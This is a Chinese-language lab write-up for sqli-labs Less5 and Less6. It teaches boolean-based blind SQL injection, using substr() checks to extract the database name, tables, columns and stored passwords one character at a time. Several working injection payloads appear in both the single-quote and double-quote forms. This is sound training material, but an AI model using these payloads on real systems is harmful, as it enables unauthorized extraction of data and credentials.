Less5
照样还是先测一测闭合方式
从这个就可以大概推断出是’闭合
但是我们继续会发现没有东西
我们可以通过这个来猜测它的逻辑就是输入的东西为真就会有回显,为假就没有回显,我们就可以利用这个逻辑来获取信息,比如用and连接两个语句,由于and的性质,只有当两个语句均为真的时候才为真,这个时候就可以保证前面语句为真的情况下去查我们想知道的内容。当然用or也可以,只不过就要反过来,要保证前面的语句为假。
这里的查不是指直接把我们想要的数据输出出来,而是我们一个个去测试,看看是什么,这样的注入就是盲注(因为我们不能直接看到信息),又因为我们是通过页面输出的信息判断真假,所以又叫布尔型盲注。我们来试着爆库名。
上面的substr是字符串切割函数,指定切割位置和长度就可以从指定字符串切割子字符串,上面语句的整体意思就是判断数据库名的第一个字符是不是s,显然页面输出了you are in就证明我们是对的。这里是因为我们做了前面的题目知道数据库名字就叫security,所以直接测试的s,真正情况下应该是从a开始测试,一位位的测试,下面是一个例子。
在这个例子中我测试了数据库名的第二位是不是a,结果显然不是,但是在我们用这个方法去爆表名的时候会遇到下面的问题
这是因为查到的表名不只一个,所以我们要限制一下
比如我这里用limit去取了查到的第一个表名,根据我们之前做的题目可以知道是email,所以我这里就简单判断了一下第一个字符是不是e,发现确实是的。然后我们再来爆列名
?id=1' and substr((select column_name from information_schema.columns where table_schema ="security" and table_name="users" limit 0,1),1,1)='i'--+
最后来爆一下数据,之前我们已经知道第一个用户的密码是dumb,所以我直接这样测试了
?id=1' and substr((select password from users limit 0,1),1,4)='dumb'--+
Less6
这个题也是一样,要先测试一下闭合方式
很显然是"闭合,这里需要补充一下Less5没有写的一点,那就是我们在一位位的进行盲注的时候首先要测出这些数据的长度,不然都不知道测到什么时候才结束,长度可以这样测试
还是跟之前一样,用二分法就可以快速确定,然后爆表名
?id=1" and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,6)="emails" --+
接着爆列名
?id=1" and substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,2)="id" --+
最后爆数据
?id=1" and substr((select password from users limit 0,1),1,4)="dumb" --+